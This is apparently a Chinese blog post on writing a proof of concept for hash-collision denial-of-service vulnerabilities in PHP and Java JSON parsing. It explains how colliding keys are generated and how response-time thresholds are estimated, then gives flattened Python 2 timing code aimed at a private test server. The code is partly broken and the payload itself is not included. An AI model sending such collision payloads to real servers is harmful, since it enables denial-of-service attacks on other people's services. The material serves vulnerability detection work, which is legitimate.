hash碰撞POC:
该类型漏洞POC编写过程难点有二:
一. hash碰撞数据的产生或收集
二. 使用responseTime来判断是否存在hash,如何精确的得到
三. 如何估算出服务器的处理/响应时间,以用来判断是否存在漏洞。
github能找到hash碰撞的POC,使用python编写的
该POC生成hashcollision的算法思想:
1. 取一个随机数n,由n生成 k维的笛卡尔积
可以理解为k维的数组,如array[AA][BB][CC],计算后为“AABBCC”
2. 将所有数组的值取出来,设定hash算法,计算每个值在该hash算法下的hash值
3. 随机取一个数的hash值,再取出其他与该hash值相同的数,组成hash碰撞的payload
将payload放入POST数据中,使用socket发包,由发包后和接受完整数据后的时间差得出响应时间。
该POC的弊端在于,如果只是做检测,没必要每次都生成payload,只需要生成一次payload,就可以多次测试了。
另一个难点,如何准确的判断responseTime。
这一点以burpsuite的时间为准
以自己搭建的内网测试环境,代码为
<?php $startTime = microtime(true); $rest = file_get_contents("php://input"); $a=json_decode($rest,true); ?>
burpsuite中,不发送POST数据时间为10ms左右,发送正常的json数据时间为 100ms左右
而自己编写的代码,发送正常json数据数据时
1. 计算requests前后的时间差,会有很大的误差,发送数据的时间和接受的时间都会计入在内。而发送的payload较大,通常达到1M,所以时间上有误差。得出时间1300ms左右
2. requests的elapsed.total_seconds()计算得出的时间会比第一种方法少,为800ms左右
3. github上的POC,使用socket发送数据,截取recv前后的时间差, 时间在1200ms左右。
很难接近burpsuite得出的时间,我想主要是request将发送数据的时间计算在内了吧。
由此,可以估算发送数据的时间
time=(发送正常json的时间-不发送数据的时间) ,再 *4/5 (*4/5是估算去除掉服务器处理正常json时的处理时间)
设置判断存在碰撞漏洞的时间线 limit为
limit=发送正常json数据的时间-time(发送数据的时间)
在每一个payload发送的时间上减去 n/m*time()按发送数据的大小比例估算出的发送数据的时间)
如果超过划定的时间线,则可能为hash碰撞漏洞
经测试,可判断出自己搭建的环境上的hash碰撞漏洞。
测试仍然受网络速度影响。
存在许多瑕疵,仍然可以改进。
比如增加数据量,让服务器处理碰撞数据的时间倍增,则发送数据的时间比重缩小,影响降低。
最后贴上测试代码,其中的payload明天再贴上
payload数据还可以改进增加。
#coding:utf-8 import time import requests import jsonToString import pycurl import thread class Test: def __init__(self): self.contents = ‘‘ def body_callback(self,buf): self.contents = self.contents + buf def timeOfRequest(url,data): start=time.time() #print data try: q=requests.post(url,data) #print q.content return q.elapsed.total_seconds() except: pass end=time.time() return 1000000 #return (end-start) def test_gzip(input_url,data): t = Test() #gzip_test = file("gzip_test.txt", ‘w‘) c = pycurl.Curl() c.setopt(pycurl.WRITEFUNCTION,t.body_callback) c.setopt(pycurl.ENCODING, ‘gzip‘) c.setopt(pycurl.URL,input_url) c.setopt(pycurl.POSTFIELDS, data) c.perform() http_total_time = c.getinfo(pycurl.TOTAL_TIME) return http_total_time http_size = c.getinfo(pycurl.SIZE_DOWNLOAD) print ‘conn_time pre_tran start_tran total_time‘ print "%f %f %f %f"%(http_conn_time,http_pre_tran,http_start_tran,http_total_time) #print timeOfRequest(url,"normal") def control(url,string,data): #print string return test_gzip(url,data) #time=timeOfRequest(url,data) #print time #if time > 26: # print "Probably have hashcollistion" def show(times,limit): for name in times: if times[name]>limit: print "Probably have HashCollision==>", print name+":", print times[name] def check(url): nulldata=open("null.txt","r").readline() normaldata=open("normal.txt","r").readline() phpjsondata=open("phpjson.txt","r").readline() javajsondata=open("javajson.txt","r").readline() phpdata=jsonToString.jsonToString(phpjsondata) javadata=jsonToString.jsonToString(javajsondata) times={} print "NO THREAD" times["null"]=control(url,"null",nulldata) time.sleep(1) times["normal"]=control(url,"normal",normaldata) #利用normal,算出发送大量数据的时间,所占比例约为 (normal-null)*4/5 time.sleep(1) trantime=(times["normal"]-times["null"])*4/5 base=times["normal"]-trantime limit=base*13 print limit times["phpjson"]=control(url,"phpjson",phpjsondata)-1.36*trantime times["php"]=control(url,"php",phpdata)-1.36*trantime times["javajson"]=control(url,"javajson",javajsondata)-2.3*trantime times["java"]=control(url,"java",javadata)-2.3*trantime show(times,limit) if __name__ == ‘__main__‘: url="http://10.252.223.15/test.php" check(url) # while 1: # pass